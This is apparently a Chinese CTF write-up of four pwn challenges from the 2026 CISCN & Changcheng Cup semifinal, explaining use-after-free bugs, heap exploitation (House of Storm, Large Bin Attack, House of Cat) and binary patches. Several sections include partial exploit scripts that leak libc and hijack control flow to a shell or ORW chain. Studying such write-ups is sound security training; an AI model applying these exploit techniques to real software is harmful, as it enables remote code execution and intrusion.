2026 CISCN&长城杯半决赛 AWDP-PWN
字数 4445
更新时间 2026-04-03 12:28:19

2026 CISCN & 长城杯半决赛 AWDP-PWN 题目详解与漏洞利用教学

本文档基于先知社区(https://xz.aliyun.com/news/91900)分享的“2026 CISCN&长城杯半决赛 AWDP-PWN”解题文章,对其中涉及的CTF PWN题目进行深入解析,旨在为安全研究者和CTF选手提供一份详尽的教学指南。文档将依次分析每道题目的漏洞点、利用思路、利用过程(EXP)及修复方案(FIX)。

1. 题目:catchme

1.1 漏洞概述

  • 漏洞类型:UAF (Use-After-Free)
  • 程序逻辑:存在 borrow, show, edit, set_name, clean, delete 等操作功能。
  • 漏洞点:程序在 free 某个堆块后,没有立即将指向该堆块的指针置空。通过 show 功能可以打印被释放堆块的内容,从而造成信息泄露。
  • 环境:libc 2.27(存在tcache机制)。edit 功能存在限制,只能从偏移8字节处开始写数据,这阻碍了常规的tcache/fastbin攻击。

1.2 利用思路:House of Storm

由于常规UAF利用受阻,利用者采用了 House of Storm 攻击手法。

  1. 信息泄露:利用UAF,free 后通过 show 泄露libc地址。
  2. 堆地址检查:题目的一个关键检查是堆地址的最高位字节是否为 0x56。攻击脚本通过循环运行,直到分配的堆块地址满足此条件,从而保证House of Storm攻击成功的前提。
  3. House of Storm利用:这是一种结合了Large Bin Attack和Unsorted Bin Attack的技术,旨在实现任意地址写。利用UAF修改Large Bin中的堆块指针,最终目标是覆写 __free_hook
  4. getshell:将 __free_hook 覆盖为 one_gadget 地址,触发 free 时即可获得shell。

1.3 利用脚本(EXP)关键步骤

# 1. 泄露libc基址
for i in range(7):
    borrow(3)
delete(0)
show(0)
leak_address = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak_address - 0x3ebca0

# 2. 等待堆地址以0x56开头
while True:
    borrow(2)
    flag_value = int(p.recvline().strip(), 16)
    if flag_value == 0x56:
        break
    p.close() # 不满足条件则重启进程

# 3. House of Storm 布局,实现任意地址写
free_hook_address = libc_base + 0x3ed8e8
payload = p64(free_hook_address - 0x10 - 0x8)
set_name(2, payload) # 修改被释放堆块的fd/bk指针
# ... 后续布局
one_gadget = libc_base + 0x4f302
set_name(4, p64(one_gadget)) # 最终写入 __free_hook
delete(0) # 触发

1.4 修复方案(FIX)

漏洞根因是 free 后未清空指针。修复方法是在释放堆块后,立即将指向该堆块的指针变量设置为 NULL

  • 原漏洞代码mov eax, 0 (仅将返回值置0,未清空指针)
  • 修复后代码mov [rdi], rbx (假设rdi指向存储堆块指针的变量,rbx为0)

2. 题目:broken_message

2.1 漏洞概述

  • 漏洞类型:UAF (Use-After-Free)
  • 自定义内存管理:程序实现了一个自定义的堆分配器(broken_arena),管理空闲堆块的单链表,并对指针进行了类似高版本glibc的加密保护(heap ^ key),使得直接泄露堆地址变得困难。
  • 漏洞点:在自定义分配器的 free 函数中,存在UAF漏洞。被释放的堆块其用户数据区指针未被及时抹去。
  • 特殊机制:程序注册了SIGSEGV(段错误)的信号处理函数。当程序崩溃时,该处理函数会打印触发错误的地址,并在一个预先分配在堆上的“备用栈”中重启main函数,而不会使程序完全退出。

2.2 利用思路

  1. 泄露密钥(Key)和堆地址
    • 利用UAF进行Double Free,然后通过 show 功能,我们可以得到 heap_address ^ key 的值。
    • 接着,通过 add 功能,向一个可控的堆块写入一个已知的伪造地址(例如0x80808080)。这个地址会被链入空闲链表。
    • 再次进行两次 add 操作,第二次 add 会尝试从空闲链表中取出那个伪造地址 0x80808080 ^ key 作为下一个堆块地址,这必然导致段错误。
    • 信号处理函数会打印出这个错误的地址,即 0x80808080 ^ key。由于我们已知伪造地址是0x80808080,即可反推出加密密钥 key = 0x80808080 ^ error_address
    • 得到 key 后,第一步泄露的 heap_address ^ key 便可计算出真实的堆基址(heap_base)。
  2. 任意地址读写:在已知 keyheap 地址后,Double Free 后通过 show 即可解密得到链表中下一个堆块的指针,通过精心构造,可以实现向任意地址(target)写入一个堆地址(heap ^ key)或读取任意地址的内容。
  3. 泄露libc与getshell:备用栈位于堆上,因此我们也知道了栈地址。通过任意读从栈上读取返回地址等,即可泄露libc基址。最后,通过任意写将返回地址覆盖为 system 等目标地址,或构造ROP链,完成利用。

2.3 利用脚本(EXP)关键步骤

# 1. 触发段错误,泄露 key
add(0, 0x20, b'A')
add(1, 0x20, b'B')
free(0)
free(1) # double free
show(0) # 得到 heap^key
heap_xor_key = u64(p.recv(...))
add(2, 0x20, p64(0x80808080)) # 将伪造地址链入
add(3, 0x20, b'C') # 正常分配
# 下一次 add 会触发 crash,从错误信息中得到 error_addr = 0x80808080 ^ key
key = 0x80808080 ^ error_addr
heap_base = heap_xor_key ^ key

# 2. 计算备用栈地址等,进行任意读写,泄露libc...
# 3. 覆盖返回地址或进行栈劫持

2.4 修复方案(FIX)

漏洞根因是释放堆块后,只清空了表示堆块大小的数组,而没有清空存储堆块指针的数组。

  • 原漏洞代码:对 dword 大小数组进行清空(mov dword ptr [rdx+rax], 0)。
  • 修复后代码:应对 qword 指针数组进行清空(mov qword ptr [rdx+rax], 0)。

3. 题目:easy_rw_revenge

3.1 漏洞概述

  • 双层结构:题目分为前端和后端服务。
  • 前端:存在一个简单的RC4加密通信。需要先与前端交互,获取cookie后才能与后端服务进行通信。提供的脚本可以完成此步骤。
  • 后端
    • 认证:后端需要爆破一个8字节字符串的MD5值,使其哈希前6位为644000。通过脚本爆破可得字符串为 aaabUYkl
    • 漏洞类型:整数下溢导致的UAF。
    • 漏洞点:在 free 操作中,存在一个大小检查。如果用户传入的 size 参数为负数,可以通过 (unsigned int)size < 0x501 的检查,但随后 malloc(size) 会因为 size 为负数而失败,返回 NULL。程序在 malloc 失败后没有退出,并且最关键的是,没有用这个NULL去覆盖原来存储堆块指针的变量,导致原来的指针依然存在,形成UAF。只有大小超过0x500的堆块会进入此逻辑。

3.2 利用思路

  1. 前置工作:通过RC4脚本与前端通信获取凭证,再使用爆破得到的字符串 aaabUYkl 通过后端MD5验证。
  2. 泄露libc与堆地址:利用UAF泄露libc地址和堆地址。通过分配、释放大堆块,并利用残留指针进行读取。
  3. Large Bin Attack:由于只有大于0x500的堆块可利用,适合进行Large Bin Attack。利用UAF修改Large Bin中堆块的 bkbk_nextsize 指针,实现向 _IO_list_all 符号附近写入一个堆地址。
  4. House of Cat:这是House of Orange/Io的变种,利用伪造的 _IO_FILE_plus 结构体(特别是其vtable指向 _IO_wfile_jumps 或相关函数),在程序执行流调用 _IO_flush_all_lockp(例如在退出时)时触发。通过Large Bin Attack将伪造的 _IO_FILE_plus 结构体链入 _IO_list_all,并最终导向 setcontext gadget 或 system 等。
  5. 构造ORW(Open/Read/Write)链:由于题目可能开启沙箱(Seccomp),需要构造ORW链来读取flag。利用 setcontext gadget 控制寄存器,执行 openatreadwrite 系统调用。

3.3 利用脚本(EXP)关键步骤

# 1. 泄露libc和heap
add(0,0x510); add(1,0x510); add(2,0x510); add(3,0x510)
free2(0); free2(2) # 触发UAF的free
show(0) # 泄露libc
show(2) # 泄露heap

# 2. 构造Large Bin Attack
# 分配large bin大小的块并释放,然后利用UAF修改其bk和bk_nextsize
# 目标是向 _IO_list_all - 0x20 写入一个堆地址
IO_list_all = libc.sym["_IO_list_all"]
edit(4, flat(0, libc.address+0x21b120, 0, IO_list_all-0x20))

# 3. 在堆上精心构造一个伪造的 _IO_FILE_plus 结构体
# 包括 _flags, vtable, 以及用于 setcontext 的寄存器布局
fake_addr = heap + 0xa90 - 0x130
pay2 = flat({
    0x20: p64(libc.sym["setcontext"]+0x3d), # 控制流跳转
    0xa0: p64(fake_addr + 0x30), # _lock
    0xc8: p64(libc.sym["_IO_wfile_jumps"] + 0x30), # vtable
    # ... 其他字段
})
add(5, small_size, pay2)

# 4. 触发
# 通过再次分配等操作,触发 _IO_flush_all_lockp,最终执行 setcontext
# 随后执行预先布置在堆上的ORW链

3.4 修复方案(FIX)

漏洞根因是有符号整数 size 在比较时被转换为无符号数,导致负数通过检查。修复方法是将有符号比较指令改为无符号比较指令。

  • 原漏洞代码jg short loc_18A7 (Jump if Greater, 有符号跳转)
  • 修复后代码jnb short loc_18A7 (Jump if Not Below, 无符号跳转) 或 jae

4. 题目:minidb

4.1 漏洞概述

  • 漏洞类型:UAF (Use-After-Free) 与 信息残留。
  • 程序逻辑:一个简易数据库,正常情况仅当堆块引用计数为0时才 free
  • 漏洞点
    1. 条件UAF:在某个特定分支下(例如,与“引用计数为1”且“特定操作”相关的路径),程序会直接释放堆块,而不检查或等待引用计数降为0,导致UAF。
    2. 信息残留:在释放堆块后,没有清空堆块中的数据内容,导致后续分配时可以读取到旧数据。
  • 功能限制:没有直接的 edit 功能。

4.2 利用思路

  1. 构造堆布局:由于没有edit,需要通过“预留指针”和多次分配释放来构造堆块重叠,从而间接修改已释放堆块的内容。
  2. 泄露信息:利用信息残留,读取释放后未清零的堆块内容,泄露libc和堆地址。
  3. House of Cat:与上一题类似,利用堆块重叠等技术,在堆上构造伪造的 _IO_FILE_plus 结构体。
  4. 触发:通过特定的程序操作(如题目中的 EXIT 或某个能触发 _IO_flush_all_lockp 的路径),触发House of Cat,最终执行 system(“/bin/sh”) 或ORW。

4.3 利用脚本(EXP)关键步骤

# 1. 通过信息残留泄露key和堆地址
set_content(p64(key1), b'a'*100) # 触发特定操作
# ...
# 2. 进行Large Bin Attack,目标是修改 _IO_list_all
target = ((heap+0x19d0)>>12) ^ (libc.sym["_IO_list_all"]-0x10)
set_content(p8(115), b'a'*0x500 + flat(0, 0x51, target, 0))

# 3. 在堆上构造伪造的 _IO_FILE_plus 结构体
fake_addr = heap+0x1c40
pay = flat({
    0x0: b"/bin/sh\\0",
    0x18: p64(libc.sym["system"]), # 控制流跳转到system
    0xd8: p64(libc.sym["_IO_wfile_jumps"] + 0x30),
    # ... 其他必要字段
})
set_content(p8(117), pay)

# 4. 将伪造的结构体地址链入 _IO_list_all
set_content(p8(114), b'a'*0x30)
set_content(p8(110), flat(fake_addr) + b'a'*0x28)

# 5. 触发退出流程
rt("> ")
sl("EXIT")

总结

本次比赛的四道PWN题均以 UAF 漏洞为核心,但利用了不同的保护机制和程序逻辑,衍生出多样化的利用技术:

  1. catchme:利用限制条件下的UAF,结合 House of Storm 实现任意地址写,绕过tcache保护。
  2. broken_message:针对自定义分配器和指针加密,利用 信号处理机制算术关系 先泄露密钥,再实现任意地址读写。
  3. easy_rw_revenge:利用 整数下溢 产生的UAF,结合 Large Bin AttackHouse of Cat 进行利用,并需要构造ORW链绕过沙箱。
  4. minidb:利用 条件UAF信息残留,在没有edit功能的情况下构造堆布局,最终同样使用 House of Cat 完成利用。

修复方案普遍聚焦于:

  • 释放指针后立即置空。
  • 正确清理堆块数据。
  • 使用恰当的无符号数进行比较,防止整数溢出/下溢。
  • 确保内存管理逻辑严密,避免条件分支绕过正常检查。
相似文章
相似文章
 全屏